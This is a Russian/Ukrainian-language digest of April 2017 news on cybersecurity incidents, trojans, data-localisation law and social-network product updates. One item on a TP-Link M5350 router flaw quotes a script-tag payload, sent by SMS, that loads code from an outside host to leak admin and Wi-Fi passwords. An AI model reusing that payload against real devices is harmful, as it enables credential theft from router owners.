20.04.2017

Twitter пошел навстречу требованиям российских властей

Twitter намерен перенести персональные данные россиян для хранения на территории РФ к середине 2018 года. Об этом заявил руководитель Роскомнадзора Александр Жаров в ходе расширенной коллегии службы 19 апреля сообщает Коммерсант (data.ua).

Закон о локализации персональных данных россиян был утвержден в 2014 году, после заявлений президента РФ Владимира Путина о том, что государство должно отстаивать свои интересы в интернете, а информацию о россиянах, которая передается в Сеть, нужно хранить в России. Несмотря на просьбы индустрии дать закону отсрочку, под действие поправок, вступивших в силу 1 сентября 2015 года, подпали 2,6 млн организаций.

Согласно закону, любая компания, ориентированная на работу с российскими пользователями, должна обеспечивать запись, систематизацию, накопление, хранение, уточнение персональных данных россиян с использованием серверов, находящихся на территории РФ. Роскомнадзор ведет реестр нарушителей законодательства и блокирует сайты тех компаний, которые включены в этот реестр.

20.04.2017

ЦРУ начало «охоту» за информатором WikiLeaks в своих рядах

ЦРУ при помощи ФБР в рамках расследования масштабной утечки информации «начало охоту» на предполагаемого информатора портала WikiLeaks в своих рядах, передает CBS со ссылкой на источник (InternetUA).

В разведке полагают, что «предатель» является либо сотрудником ЦРУ, либо частным подрядчиком, который имел физический доступ к секретным данным.

Отмечается, что доступ к засекреченным материалам имели сотни людей. Следствие проверяет всех предполагаемых информаторов.

24.04.2017

Російські хакери зламали пошту Мінборони Данії і 2 роки отримували інформацію

Контрольована владою Росії хакерська група зламала доступ до електронної пошти співробітників міністерства оборони Данії (Espresso.tv).

Про це йдеться в доповіді данських спецслужб, повідомляє Berlingske.

«Це не маленькі хакерські групи, які роблять це заради задоволення. Це пов'язано з розвідкою або центральними елементами російського режиму», – заявив міністр оборони Данії Клаус Йорт Фредерікс.

Данські спецслужби вважають, що завдяки отриманій інформації Росія може вербувати агентів в данському міністерстві оборони. Наразі «дірки» в системах безпеки залатані.

Російські хакери, а саме – група Fancy Bear, отримували інформацію протягом 2015 і 2016 року.

Fancy Bear звинувачують у зламі серверів Демократичної партії під час передвиборної кампанії в США.

Проблема захисту даних. DDOS та вірусні атаки

12.04.2017

Українці стають жертвами троянських програм

В первом квартале текущего года украинцы чаще становились жертвами троянских программ – троянов-шифровальщиков (52 %) и банковских троянцев (30 %), сообщили в компании Zillya! ([Минфин](#)).

Стоит отметить, что в самой категории «трояны» наибольшую активность показали трояны шифровальщики – более 52 % от всех случаев использования, а также банковские троянцы, ориентированные на кражу конфиденциальных данных доступа к банковским аккаунтам и интернет банкингу – 30 %.

Однако, лидером и «вирусной» угрозой №1 в украинском сегменте персональных ПК остается Adware, несмотря на стабильную потерю позиций в рейтинге, количество зафиксированных атак этого вида вредоносного ПО на ПК пользователей не стало меньше 40 % в целом.

Стоит отметить, что количество разновидностей Adware неуклонно растет, поскольку использование данного вида вредоносного ПО продолжает оставаться одним из главных инструментов для черного SEO.

Также Adware очень часто используется для прямого показа всплывающей рекламы, открытия дополнительных окон в браузере и перенаправления пользователя на рекламные сайты, и сайты с вредоносным программным обеспечением.

12.04.2017

У Фінляндії створять центр протидії кіберзагрозам

У Гельсинки відкриють центр протидії кіберзагрозам. Рішення підтримали представники 9 країн НАТО та ЄС і підписали відповідний меморандум ([podrobnosti.ua](#)).

У центрі організують відповідні навчання. У ЄС наголосили: проект зміцнить співробітництво Євросоюзу і альянсу у протистоянні головним світовим загрозам, зокрема Росії.

12.04.2017

Налоговая служба США сообщила о возможной утечке данных около 100 тыс. налогоплательщиков

Персональные данные порядка 100 тысяч налогоплательщиков могли быть скомпрометированы в результате взлома online-сервиса, используемого при подаче заявок на федеральную финансовую помощь студентам. Об этом сообщает издание The Washington Post со ссылкой на главу Налоговой службы США (Internal Revenue Service, IRS) Джона Коскинена (John Koskinen) ([InternetUA](#)).

Выступая на заседании Финансового комитета Сената США, Коскинен заявил, что ведомство обнаружило подозрительную активность, связанную с файлами граждан, использовавших сервис Data Retrieval Tool при заполнении заявки на получение бесплатной помощи для студентов (Free Application for Federal Student Aid, FAFSA).

Online-сервис IRS позволяет пользователям загружать налоговые декларации, однако в марте нынешнего года Налоговая служба и Министерство образования США были вынуждены отключить его после того, как злоумышленники под видом студентов попытались использовать похищенную персональную информацию граждан для заполнения фиктивных заявок на возврат налогов. По словам Коскинена, порядка 8 тыс. таких заявок были удовлетворены на общую сумму \$30 млн. Еще 14 тыс. фиктивных заявок были заблокированы.

12.04.2017

Любые приложения и сайты могут перехватывать пароли

Исследователи из Ньюкаслского университета выяснили, что мобильные приложения и веб-сайты могут распознавать пароли, которые вводит пользователь. Для этого им не требуется ничего особенного – достаточно получить стандартное разрешение на использование гироскопа ([InternetUA](#)).

Данные с гироскопа поддаются анализу, в результате которого точность подбора пароля составляет примерно 70 %. Если пользователь несколько раз введёт один и тот же пароль, вероятность получить данные для взлома возрастает почти до 100 %.

По словам исследователей, разработчики мобильных операционных систем знают об этой уязвимости, но не придумали, как обезопасить пользователей от неё. Минимизировать риск компрометации данных можно,

закрывая все веб-страницы и приложения, когда они не используются. Но, во-первых, это неудобно, а во-вторых, код, отвечающий за перехват показателей гироскопа, может работать в фоновом режиме.

12.04.2017

Ученые: Для совершения кибер-атак хакеры отслеживают движение смартфона

Ученые установили, что для совершения кибер-атак хакеры отслеживают местоположение смартфона. С помощью датчиков движения они получают доступ к PIN-кодам и паролям. Исследование провели специалисты из Университета Ньюкасла ([Grifonsoft](#)).

По словам ученых, датчики движения становятся доступны злоумышленникам благодаря вредоносным приложениям или зараженным ресурсам. В итоге хакеры взламывают PIN-код и пароли, распоряжаясь данными владельца смартфона по своему усмотрению. По данной схеме взламывается более 70 % устройств.

При этом специалисты отмечают, что упрощенные мобильные приложения делают личные данные пользователя более уязвимыми. С их помощью хакеры смогут отслеживать информацию даже при закрытии вкладки.

12.04.2017

Хакеры могут узнать ПИН-код через акселерометр в смартфоне

Многие современные смартфоны оборудованы сканерами отпечатков пальцев или другими способами биометрической авторизации. При этом некоторые пользователи по ряду причин отдают предпочтение классическим ПИН-кодам и паролям. Специалисты в области кибербезопасности из Ньюкаслского университета выяснили, что четырехзначный ПИН-код можно взломать с помощью данных, полученных с датчиков смартфона.

[Подробнее](#)

12.04.2017

Уязвимость в маршрутизаторе TP-Link позволяет получить пароль по SMS

Специалист из Германии Ян Херш (Jan Hörsch) сообщил об уязвимости в маршрутизаторах производства китайской компании TP-Link, которая позволяет получить пароль к устройству путем отправки SMS-сообщения со специальным скриптом на SIM-карту маршрутизатора ([InternetUA](#)).

Проблема затрагивает беспроводной мобильный 3G-маршрутизатор TP-Link M5350. Как пояснил исследователь в беседе с журналистом BleepingComputer, операторы связи часто предлагают данную модель своим клиентам наряду с SIM-картой, вставляемой в маршрутизатор. Эта SIM-карта позволяет маршрутизатору подключаться к сети оператора и так же, как любая другая «симка» имеет свой номер.

В ходе анализа прошивки маршрутизатора Херш выявил уязвимость в функции обработки входящих SMS-сообщений. Он выяснил, что путем отправки сообщения со скриптом < script src=//n.ms/a.js >< /script > может получить пароль к учетной записи администратора, идентификатор беспроводной сети (SSID) и пароль от сети Wi-Fi.

13.04.2017

В Лондоне обвинили кибершпионов во влиянии на «Брексит» Оксана Кундиренко

Иностранные кибер-шпионы могли повлиять на результаты референдума по Брэкситу. К таким выводам пришла спецкомиссия британского парламента, которая расследовала сбои в работе сайта регистрации.

[Подробнее](#)

13.04.2017

В Днепре замечен японский вирус

Компьютерный червь Rensenware, или, как его уже успели окрестить в мире «вирус-геймер», который недавно атаковал японских пользователей, появился и в Днепре ([Кстати+ новости Каменского](#)).

Местный сайт Dr.vgorode.ua обнаружил в соцсетях первые жалобы жертв, которым приходилось играть с вирусом в игру, чтобы спасти свой компьютер.

В частности, пользователи жаловались на заражение вредоносным ПО после скачивания текстов на сайте рефератов и бесплатного просмотра кино. После того, как вирус попадал на компьютер, доступ к другим файлам и программам прекращался, а пользователю предлагали сыграть в японский шутер.

Изначально вирус Rensenware появился в Японии. Его создатель, некий Tuple Eraser, разработал его ради развлечения, однако вскоре вредоносная программа буквально заполонила Сеть.

17.04.2017

SWIFT представила новую систему по борьбе с кибермошенниками

Международная банковская система SWIFT представила новый сервис контроля платежей в режиме реального времени, который поможет банкам обнаруживать мошеннические сообщения и предотвращать кибератаки. Об этом сообщает Finextra ([Минфин](#)).

Клиенты банков смогут интегрировать этот сервис непосредственно в свои потоки SWIFT-сообщений, что упростит обнаружение подозрительной активности.

Новый сервис работает без установки специального аппаратного или программного обеспечения. Первоначально сервис будет ориентирован на небольшие финучреждения и центробанки, которые стараются соблюдать новые более строгие правила безопасности. При этом стоимость сервиса пока не разглашается.

Система будет отмечать несанкционированные платежные сообщения и изучать паттерны использования транзакций. Кроме того, система будет разрабатывать профили трафика сообщений на основе их активности, страны и валюты, с которыми они связаны.

18.04.2017

Группа хакеров взломала YouTube

Сотни каналов YouTube были взломаны группой безопасности OurMine, которая утверждает, что это «Самый большой взлом в истории YouTube».

«Видео из взломанных учетных записей отображается с заголовками, которые начинаются с «#OurMine» и имеют описание: «Эй, это OurMine, не волнуйтесь, мы просто проверяем вашу безопасность, пожалуйста, свяжитесь с нами для получения дополнительной информации», – говорится в сообщении, сообщает «РБК-Украина» ([«КОММЕНТАРИИ:»](#)).

В числе «взломанных» – пользователи сети Studio71, которая представляет более 1200 каналов, включая RomanAtwoodVlogs, JustKiddingNews и Wranglerstar. Вскоре после взлома, Wranglerstar заявил, что YouTube нейтрализовал взлом и что не было утечки никакой личной информации.

OurMine – это группа безопасности, известная как взломщик высокопрофильных аккаунтов в социальных сетях, средство распространения своих онлайн-сервисов, а также освещения проблем с безопасностью.

18.04.2017

Google Play поширює шпигунські програми

Популярна серед користувачів платформа Google Play має кілька надзвичайно небезпечних програм ([Знай.ua](#)).

Програми, що спеціалізуються на крадіжці даних облікових записів PayPal і Paxful, виявили на платформі Google Play спеціалісти вірусної лабораторії ESET.

Одна з небезпечних програм, Boost Views, просувалася, як інструмент для заробітку на YouTube. Коли користувач запускав її, йому пропонувалося дивитися відео з хостингу, отримуючи за це «зарплату», або збільшити число переглядів власного каналу. Зібрані гроші можна було перевести на PayPal. У програмі для цього створили навіть спеціальну форму авторизації.

Друга аналогічна програма називається PaxVendor. Вона використовувала дані біткоїн-обмінника Paxful.

Повідомляється, що додаток збирає логіни і паролі від цього сервісу за допомогою фальшивого екрану авторизації, інших функцій у нього немає. Після введення облікових даних користувач бачить повідомлення про помилку, а розробники PaxVendor можуть скористатися викраденими паролями для доступу до облікового запису біткоїн-банку.

18.04.2017

Українцям будуть помогать справляться с киберпреступниками и «угоном» персональных данных

В связи с участвовавшими случаями нападений киберпреступников, которые требуют выкуп за заблокированные файлы на персональных компьютерах и смартфонах, отныне каждый украинец может бесплатно воспользоваться инструментом для дешифрования зараженных вирусом файлов (Finance.Ua).

Такая возможность появилась благодаря присоединению к глобальной инициативе по противодействию кибервымогателям No More Ransom Департамента киберполиции Украины и Украинской межбанковской Ассоциации членов платежных систем ЕМА.

В частности, с 4 апреля 2017 года международный проект No More Ransom запустил Интернет-страницу на украинском языке.

На сайте проекта No More Ransom доступны 40 эффективных инструментов для дешифрования данных, которые бесплатно может применить каждый пользователь, устройство которого было атаковано вредоносным программным обеспечением (ПО).

Кроме украинского, платформа www.nomoreransom.org работает еще на 13 разных языках.

19.04.2017

Павел Дуров обвинил Apple и Google в крупнейшем в истории мошенничестве

Основатель «ВКонтакте» и создатель мессенджера Telegram Павел Дуров заявил, что Apple и Google «могут быть причастны к крупнейшему в истории человечества случаю мошенничества в отношении потребителей», так как читают записи и прослушивают звонки пользователей и передают их содержимое правоохранительным органам в различных странах.

[Подробнее](#)

20.04.2017

У АНБ украли хакерские инструменты для взлома банковской системы SWIFT

Хакерская группа Shadow Brokers опубликовала новую порцию инструментов, похищенных у Equation Group, группировки, аффилированной с АНБ США. Как выяснилось, у The Equation были эксплойты, нацеленные на систему SWIFT.

[Подробнее](#)

19.04.2017

В Google Chrome появилась защита от фишинговых атак

С помощью метода преобразования последовательностей Unicode-символов в Punycode злоумышленники могут регистрировать поддельные домены, которые выглядят идентично настоящему веб-сайту.

Google уже решила проблему с поддельными сайтами и внесла все необходимые изменения в Chrome 59. На данный момент эта версия доступна только на стадии ранней беты, но в скором времени все пользователи смогут её опробовать.

[Подробнее](#)

20.04.2017

Преступники используют скрытые пиксели для сбора информации о жертвах

Злоумышленники используют маркетинговую технику, известную как «пиксели отслеживания» (или скрытый пиксель) для сбора информации о потенциальных жертвах или улучшения эффективности фишинговых атак, сообщили исследователи из компании Check Point.

[Подробнее](#)

21.04.2017

Обнаружен новый вирус, похищающий логины и пароли из популярных браузеров

В антивирусной компании «Доктор Веб» рассказали о многофункциональном троянце Trojan.DownLoader23.60762, которые похищает логины и пароли из популярных браузеров. Вирус, заражающий Windows-компьютеры, устанавливает на устройство другие приложения, а также крадет данные учетных записей от различных сервисов и перехватывает вводимые на страницах различных сайтов данные (IToboz.com).

Для кражи конфиденциальной информации Trojan.DownLoader23.60762 встраивается в процесс проводника Windows, а также процессы браузеров Microsoft Internet Explorer, Mozilla Firefox и Google Chrome. В веб-обозревателях троянец перехватывает функции, отвечающие за работу с сетью. Благодаря этому вредоносная программа может извлекать и передавать злоумышленникам сохраненные в браузерах логины и пароли, а также перехватывать информацию, которую пользователь вводит на страницах сайтов.

21.04.2017

Киберполиция Украины предупреждает о росте количества взломов сервисов интернет-банкинга

В настоящее время существует достаточно большое количество классификаций атак на интернет-банки с разными подходами и целями. Количество взломов сервисов интернет-банкинга в Украине будет расти за счет вирусов на платформе Android.

[Подробнее](#)

24.04.2017

Назван самый популярный мессенджер у киберпреступников

Аналитическая компания Flashpoint выяснила, что самым популярным средством связи у хакеров и прочих киберпреступников является Skype (IToboz.com).

Они пользуются им чаще, чем другими приложениями, в том числе WhatsApp, Telegram и ICQ. Skype доминирует среди англоязычных и русскоязычных преступников – 62 и 38 % из них упомянули этот мессенджер. В 2012 году арабские хакеры тоже в основном полагались на Skype, но сейчас переписываются в ICQ и WhatsApp. ICQ пользуется наибольшей популярностью у криминалитета, говорящего на русском, испанском, французском, арабском и английском языках. Flashpoint отмечает, что среди хакеров очень много россиян и жителей стран бывшего СНГ, и их предпочтения во многом предопределили популярность мессенджеров в

составленном рейтинге. Самыми главными факторами при выборе мессенджера названы простота использования, а также уверенность в защищённости и анонимности.

ДОДАТКИ

Додаток 1

12.04.2017

Анна Сологуб

Как украинский SoftServe перешел на корпоративную версию Workplace от Facebook и что из этого получилось

Впервые о том, что социальная сеть ведет разработку корпоративного варианта, которым могли бы пользоваться компании, стало известно в конце 2015 года. В октябре прошлого года Facebook официально запустила Workplace и среди тех, кто перешел на новый инструмент общения внутри компании была украинская SoftServe. В ней работает более 4 500 сотрудников, которые распределены по 29 офисам в Европе и США, поэтому введение новой платформы коммуникаций могло оказаться сложной затеей. Но в итоге Workplace был успешно внедрен в компании за месяц. О процессе запуска и показателях новой платформы рассказала Анна Сологуб, HR Marketing Director SoftServe (AIN.UA).

Бэкграунд

SoftServe – цифровая сервисная компания с 4500 сотрудников и высокими темпами годового роста. Предлагая цифровые сервисы нашим клиентам, мы содействуем развитию аналогичного подхода внутри нашей организации – современные инструменты для современной компании. Внедряя платформу для внутренних коммуникаций мы хотели обеспечить двустороннее общение, получить хорошо знакомый и интуитивный интерфейс и иметь доступ к инструменту с любых устройств, включая мобильные. Коммуникационная система, которой мы пользовались до Workplace, больше не могла соответствовать нашим нуждам и масштабам роста.

Помимо интранета в качестве канала для социальных коммуникаций в SoftServe мы использовали email-оповещения. Но с ростом количества информации и рассылок многие сотрудники начали воспринимать корпоративные сообщения как спам. Для того, чтобы оптимизировать их количество, мы разработали систему сортировки оповещений по важности (Hot, Official и Social) и тематике (к примеру, Education, Benefits, Events) Но все же среди большого количества информации мы теряли главное – вовлеченность и обратную связь от коллег.

Как выглядит Workplace на разных платформах

Появление Workplace обещало решить ключевые коммуникационные проблемы SoftServe. С ним общение обещало быть многогранным; инструмент был знакомым (большинство сотрудников пользовались потребительской версией Facebook) и имел интуитивно понятный интерфейс. Workplace давал возможность разгрузить почтовые ящики сотрудников от социальных новостей, сделав общение через email более живым и персонализированным, с быстрым фидбеком и эмоциональным вовлечением.

Подход к коммуникации Workplace с использованием групп легко вписывался в организационную структуру компании и общий проектный командный подход.

Вдобавок, Workplace предоставляет детализированную статистику, что показало себя эффективным инструментом для коммуникационной команды SoftServe.

Процесс внедрения Workplace

В общем, процесс внедрения новой платформы в компании длился месяц, что стало рекордным сроком адаптации нового инструмента. В запуске инструмента Facebook участвовала команда из 17 человек, включая представителей юридического и IT-подразделений, департаментов информационной безопасности и непосредственно — коммуникаций.

Интерфейс и функциональность Workplace очень схожи с Facebook – у каждого сотрудника есть собственный аккаунт. Но ключевая коммуникация на этой платформе проходит в группах. Первым шагом адаптации Workplace в SoftServe стала разработка групповой матрицы. Ее общая цель – создать группы на основе локаций и организационных подразделений, чтобы каждый сотрудник был автоматически «приписан» системой к сообществу своего департамента, города и страны. Каждая из групп имеет одного или нескольких модераторов, которые отвечают за контент и коммуникацию внутри сообщества.

Следующим шагом к запуску платформы стала фаза «ранних чемпионов». Она состояла в том, чтобы на этапе подготовки заручиться поддержкой 10% наиболее активных сотрудников разных подразделений и уровней компании. Такой подход нам порекомендовала команда Facebook.

Мы выбрали группу из около 400 сотрудников (администраторов групп, лидеров мнений компании и активных коммуникаторов) для создания групп, их наполнения интересным и релевантным контентом перед запуском и продвижения платформы после. Вводный тренинг, который провела команда Facebook, чтобы ознакомить «ранних чемпионов», был отличным способом увлечь и вдохновить их новой коммуникационной платформой. Раннее вовлечение наиболее социально активных сотрудников помогло создать доверие, общий интерес вокруг платформы еще до запуска.

«Чемпионы» получили доступ к Workplace за полторы недели до официального запуска. Это позволило протестировать среду, создать изначальные группы и просто поиграться с новым инструментом. Важным фактором была готовность «чемпионов» взять на себя наполнение

новосозданных групп, также как и официальных сообществ, которые они модерировали перед запуском. Посты, вовлекающие видео, опросы и другие функции были готовы и ждали остальных пользователей ко дню официального старта. Люди, которые заходили на платформу впервые, находили ее достаточно интересной, чтобы регулярно возвращаться и быть в курсе происходящего.

Вовлечение в процесс топ-менеджмента также сыграло важную роль. Неформальный тизер и последовательность официальных сообщений по электронной почте создали волну интереса к новому инструменту накануне запуска.

День запуска

В день запуска во всех офисах компании сотрудников встретили яркие декорации, приветствуя новый инструмент в SoftServe. Команда IT-поддержки убедилась, чтобы все профили сотрудников уже были заполнены базовой информацией перед их первым визитом в Workplace.

Еще одним важным шагом для успешного запуска стало письмо всем сотрудникам компании от CEO Криса Бейкера за день до старта. В своем обращении Крис описал ключевые цели использования Workplace, призвал сотрудников общаться на платформе и пообещал сам активно включаться в обсуждения. Сообщение также информировало всех сотрудников о приглашении, которое они должны были получить от Facebook Workplace на следующий день. Работники компании обычно с подозрением относятся к ссылкам или письмам из неизвестных источников, поэтому такое предупреждение было важным для установления доверия к новому инструменту.

Важным моментом коммуникаций в первые дни работы платформы стала Q&A-группа, все работники были подписаны на нее по умолчанию. В ней команда разработчиков быстро отвечала на все вопросы сотрудников. Значительную часть из них (например, совместимость календаря Workplace с Outlook, возможность интеграций платформы с другими корпоративными системами) адресовали команде Workplace, которая давала оперативные ответы.

Успешный запуск платформы был бы невозможен без отличной поддержки со стороны команды Facebook на всем процессе, начиная от подготовки до внедрения инструмента. Начальные тренинги команды запуска, «ранних чемпионов», менеджмента и постоянная поддержка на всех стадиях, внесли свой вклад в успешный запуск платформы. Мы продолжаем тесно сотрудничать и сейчас, спустя 4 месяца после запуска — для эффективного обмена опытом действует MultiCompany группа, куда входят разработчики Workplace и представители компаний, которые уже пользуются системой.

Результаты

За короткий промежуток времени Workplace стал мощной платформой социального взаимодействия и эффективным инструментом для нашей большой и рассредоточенной компании. Уровень вовлечения показывает, что

83% всех сотрудников компании являются активными пользователями, которые участвуют в более чем 200 группах.

Наш менеджмент может сообщать о новостях неформально и получать быстрый отклик от сотрудников. Прямые видеотрансляции полезны для проведения тренингов, встреч менеджмента и департаментов, корпоративных мероприятий и праздников. Благодаря Workplace наши сотрудники и менеджмент стали гораздо ближе, а общение – более систематичным, быстрым и «легким». Мы беседуем, шутим, обсуждаем новости и генерируем идеи одновременно – все в одной среде. Трудно недооценить важность такой платформы для компании вроде SoftServe, работающей в более чем 30 локациях.

Вдобавок у работников теперь есть место для близкого и легкого сотрудничества, командной работы, а также платформа, где можно поделиться интересами и находками. Workplace также оказался эффективным инструментом для признания заслуг сотрудников. Благодаря ему позитивный фидбек о работниках SoftServe распространяется по всей компании и они могут получать моментальные комментарии и поздравления от коллег, CEO и топ-менеджмента.

С момента запуска прошло только четыре месяца, но мы уже в восторге от эффективности нового инструмента и уровня вовлеченности коллег. Из 4 100 сотрудников, которым стала доступна Workplace, 3 400 – активные пользователи платформы.

После успешного запуска мы сосредоточились на лучшей адаптации Workplace к потребностям компании. Сейчас проводим брейнсторм-сессии, чтобы улучшить проникновение платформы на мобильных устройствах и очистку групп, определить коммуникации, которые необходимо поддерживать уведомлениями по электронной почте. Последнее необходимо потому, что стопроцентный переход на социальные медиа все же не дает полного охвата сотрудников компании.

Подводя итоги, хочется особо выделить несколько важных моментов при запуске платформы:

1. Детально разъясните сотрудникам, что их персональные данные надежно защищены.

2. Разработайте свод правил, которые декларируют общепринятый формат и тон общения, а также данные, которые можно или запрещено публиковать. Активно наполняйте группы контентом.

3. Вовлекайте топ-менеджмент в коммуникацию на всех этапах запуска платформы.

4. Создайте группу Q&A и закрепите за ней нескольких модераторов, которые будут мгновенно отвечать на все вопросы сотрудников касательно работы Workplace. В первые дни запуска платформы вопросов будет много.

5. Опубликуйте и регулярно обновляйте документ с часто задаваемыми вопросами и инструкциями по настройке профиля, уведомлений. Это позволит

сотрудникам с самого начала эффективно настроить аккаунт и систему оповещений.

[\(вверх\)](#)

Додаток 2

12.04.2017

Выпущена финальная версия универсального приложения Skype для Windows 10

Когда Microsoft в прошлом году выпустила обновление Windows 10 Anniversary Update, там было представлено незаконченное приложение Skype Preview, где не хватало множества имеющихся в классической версии программы для рабочего стола функций. Skype Preview представляет собой универсальное приложение, постепенно разработчики добавляли в него функциональные возможности при помощи участников программы Windows Insider ([InternetUA](#)).

Через девять месяцев после появления Windows 10 Anniversary Update Microsoft начала распространять обновление Windows 10 Creators Update. Одновременно с этим универсальная версия Skype утратила приставку Preview и доступна в финальном варианте. Это означает, что программа готова для каждодневного использования и теперь она называется просто Skype.

В некоторых предварительных сборках это изменение произошло ещё несколько недель назад. Не являющиеся инсайдерами пользователи при обновлении до Creators Update увидят новые для себя функции. В их число входит возможность сворачивать окно Skype при видеозвонке и возможность одновременной работы с другими приложениями; улучшения при обмене текстовыми сообщениями, включая поддержку сочетания клавиш клавиатуры; улучшены групповые звонки. Ранее были добавлена возможность делиться экраном, фотографиями, видео, документами и файлами объёмом до 300 Мб. Доступны смайлы и переводчик Skype для звонков на мобильные устройства.

[\(вверх\)](#)

Додаток 3

13.04.2017

Instagram объединила исчезающие и постоянные сообщения

Instagram упростила систему коммуникации, объединив исчезающие сообщения с постоянными. Раньше два типа сообщений отображались в разных подразделах Instagram Direct: исчезающие находились в верхней части экрана, стандартные – снизу ([InternetUA](#)).

Исчезающие сообщения с фото или видео, как и раньше, будут удаляться после просмотра. Компания внесла изменение с намерением упростить общение в тех случаях, когда диалоги включают много исчезающих сообщений.

Такие сообщения появились в Instagram Direct в ноябре. Теперь в этом разделе нет панели «Историй», поскольку именно через неё осуществлялся просмотр временных снимков и роликов.

Благодаря появлению «Историй» и исчезающих сообщений Instagram стал гораздо чаще использоваться как мессенджер. По словам разработчиков, через Instagram Direct ежемесячно отправляют сообщения до 375 миллионов человек, хотя в ноябре это число равнялось 300 миллионам. В августе у «Историй», которые тогда в сервисе только появились, было 250 миллионов ежемесячных пользователей.

Судя по всему, фото и видео для компании – основной двигатель коммуникации. Instagram внесла в интерфейс Direct одно небольшое изменение: она заменила кнопку «Новое сообщение» в нижней части экрана большой иконкой, отвечающей за включение камеры.

Это демонстрирует, что всё больше контента Facebook, которая владеет Instagram, становится временным. Это может быть полезно для социальной сети в краткосрочной перспективе. Однако в конечном итоге она может опустеть в плане контента, из-за чего сервис станет сложнее монетизировать, а у людей будет меньше причин в него возвращаться.

[\(вверх\)](#)

Додаток 4

20.04.2017

F8: что ждет социальную сеть Facebook в будущем

18 апреля в Сан-Хосе началась F8 – конференция Facebook для разработчиков. Несмотря на то, что она носит скорее технический характер, Цукерберг рассказал и о переменах, которые произойдут с главной социальной сетью в мире (IToboz.com).

Дополненная реальность

Цукерберг продолжает настаивать, что смешение реальностей – это будущее цифровых технологий, а потому на F8 было сделано сразу два громких анонса, относящихся к этой теме. Первый касается реальности дополненной. Facebook представила программную платформу для разработчиков, на которой те могут создавать приложения и игры для камер мобильных устройств. И, таким образом, позволять пользователям накладывать виртуальные объекты на изображение – будь то фотография, записанное или потоковое видео. Судя по демонстрационным кадрам, возможности у разработчиков будут самые широкие: речь идет не только о смешных заячьих ушах и шапках, которые можно примерять на себя, фотографируясь, – вставлять в кадр позволят даже полноценные трехмерные объекты. На сцене Цукерберг, к примеру, дополнил снимок надписью «Время поесть», расположив ее позади изображенной на фото тарелки с завтраком – а затем вокруг нее начали кружить мультипликационные акулы. Ничего революционного на первый взгляд, однако продемонстрировано все это было только для того, чтобы показать:

приложение Facebook умеет воспринимать глубину кадра и объекты в нем и способно автоматически располагать виртуальные объекты в трехмерном пространстве. Причем правильно. Вторая «демка» впечатляет больше: Facebook разработали программу, которая превращает двухмерную фотографию в трехмерную. Можно вращать камеру и двигать ей, размещать в пространстве дополнительные объекты и менять их цвет, настраивать освещение, добавлять различные эффекты. На сцене, например, офис Facebook на фото затопили водой, а затем засыпали резиновыми мячами («мы любим мячики»), а затем – драже Skittles («потому что будущее вкусное»). Кроме того, благодаря возможностям платформы Facebook, пользователи смогут оставлять виртуальные послания друзьям в реально существующих местах. Скажем, ваш коллега, зная, что перед работой вы постоянно заходите в один и тот же Starbucks, может что-нибудь нарисовать или написать над барной стойкой. Чтобы увидеть изображение, вам нужно просто навести на место камеру. По словам Цукерберга, он уже давно мечтает о такой возможности.

Виртуальная реальность

О планах создать версию Facebook для виртуальной реальности Цукерберг говорит уже не один год, и теперь наконец-то первые плоды работы его команды могут протестировать все владельцы шлема Oculus Rift. Речь идет о Spaces – виртуальной площадке, где могут собираться до трех человек. У каждого человека там будет собственный аватар, а благодаря контроллерам Touch система способна распознавать движения рук. Конечно же, своего аватара можно настраивать: менять пол и цвет кожи, прическу и черты лица, выбирать одежду. Завершив работу над собственным протезом, вы попадаете в комнату, где у каждого из участников есть специальная консоль. И она по сути – пульт управления возможностями Spaces. С помощью этой консоли, например, можно создать карандаш и начать рисовать прямо в воздухе. Все скетчи превращаются в интерактивные объекты: изобразили меч – берем его в руку и фехтуем. При желании дадут попользоваться даже селфи-палкой, чтобы сделать групповое фото с виртуальными образами своих друзей. В целом заниматься там можно многими вещами, популярными и в реальном мире: вместе смотреть фотографии и видео (или снимать что-то новое), играть в игры вроде шахмат и так далее. Окружение при этом настраивается сотней различных способов: можно «посидеть» в жерле вулкана, опуститься на морское дно или вообще отправиться в космос. Но еще больше привлекает возможность найти среди фотографий в своем аккаунте собственноручно сделанную 360-градусную панораму и перенести ее в виртуальную реальность. Чтобы аватары выглядели более дружелюбно, Facebook позволит выбирать эмоции и выражения лица с помощью контроллеров Touch. Не совсем удобно, но по-другому пока никак: выражения лица носителя шлемы виртуальной реальности пока распознавать не могут.

Facebook Messenger

Мессенджер Facebook получит несколько новых и полезных функций. Во-первых, в нем появятся расширения: сторонние приложения могут частично

встраиваться в программу. Например, делиться музыкой можно будет буквально одной кнопкой прямо в окне чата через расширение Spotify или – и это очень серьезный анонс – Apple Music. Таким же способом, не выходя из окна переписки, позволят бронировать столики в ресторанах через OpenTable и так далее. Во-вторых, на главном экране мессенджера появится вкладка Discovery, и по сути она представляет собой App Store – только для ботов. Там можно посмотреть, какие боты уже пользуются популярностью, а какие ее еще набирают, а также узнать, каких ботов рекомендует сам Facebook. Ну и в-третьих, мессенджер научится сканировать QR-коды: с их помощью можно быстро попадать в чат с определенным ботом. Актуально для покупок товаров.

[\(вверх\)](#)

Додаток 5

20.04.2017

Павел Красномовец

Facebook против Snapchat: почему соцсеть копирует функции и к чему это приведет

Почти четыре года назад популярный среди подростков мессенджер Snapchat отверг предложение Марка Цукерберга о покупке за \$3 млрд. Долгое время у этого не было никаких видимых последствий, но за последний год Facebook откровенно скопировал несколько изобретенных Snapchat форматов. Какова природа этого «воровства» и какую проблему предстоит решить недавно вышедшей на биржу компании, описал в своем блоге партнер венчурного фонда Andreessen Horowitz Бенедикт Эванс. Редакция AIN.UA приводит адаптированный перевод его заметки ([AIN.UA](#)).

Существует достаточно распространенное мнение, что Google и Facebook во многом контролируют интернет, выбирая куда вы пойдете и что увидите. Хотя это и правда в очевидном смысле, такое утверждение упускает нечто важное: у Google и Facebook нет фундаментального контроля над тем, что попадет в поисковую выдачу или новостную ленту.

Для Google все достаточно ясно: он не контролирует то, что конкретно вы ищете. Он решает, какие результаты вы увидите. Но и это решение, в некотором смысле, не в руках поисковика, поскольку он должен выдать лучшие из возможных результатов. Несмотря на то, что Google всегда принимает решение относительно результатов выдачи, которые могут создавать и губить бизнесы, они, по своей сути, – механические решения (или, по крайней мере, должны такими быть), а не редакционные. Поиск Google есть и должен быть отражением интернета – как его контента, так и человеческого поведения в нем. Его можно сравнить с индексным фондом, который не имеет мнения по отдельным акциям, а принимает механические поправки к тому, как хорошо его активы отображают индекс. Так же и Google может только подстраиваться к тому, как хорошо он отражает интернет. Это очень частичный вид контроля.

